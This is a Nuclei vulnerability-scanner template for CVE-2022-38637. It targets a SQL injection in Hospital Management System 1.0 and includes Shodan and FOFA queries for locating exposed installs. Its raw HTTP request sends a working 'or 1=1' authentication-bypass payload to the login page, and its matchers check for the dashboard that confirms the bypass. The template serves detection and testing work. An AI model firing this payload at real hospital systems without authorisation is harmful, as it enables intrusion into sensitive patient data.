id: CVE-2022-38637

info:
  name: Hospital Management System 1.0 - SQL Injection
  author: arafatansari
  severity: critical
  description: |
    Hospital Management System 1.0 contains a SQL injection vulnerability via the editid parameter in /HMS/user-login.php.  An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.youtube.com/watch?v=m8nW0p69UHU
    - https://owasp.org/www-community/attacks/SQL_Injection
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38637
    - https://github.com/Henry4E36/POCS
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-38637
    cwe-id: CWE-89
    epss-score: 0.04426
    epss-percentile: 0.90111
    cpe: cpe:2.3:a:hospital_management_system_project:hospital_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hospital_management_system_project
    product: hospital_management_system
    shodan-query:
      - http.html:"Hospital Management System"
      - http.html:"hospital management system"
    fofa-query: body="hospital management system"
  tags: cve,cve2022,hms,cms,sqli,auth-bypass,hospital_management_system_project,vuln

http:
  - raw:
      - |
        POST /hms/user-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<title>User  | Dashboard</title>'
          - 'Book My Appointment'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c88d8d95ccf230bf1d8b50386a32c86a3e3ac3e3fbea5df1624e5c59d1d9cde0022078dd83689e0d3ed424410b3227e9553d760b7f9d6f5b2dd3a9749486ae3f56f4:922c64590222798bb761d5b6d8e72950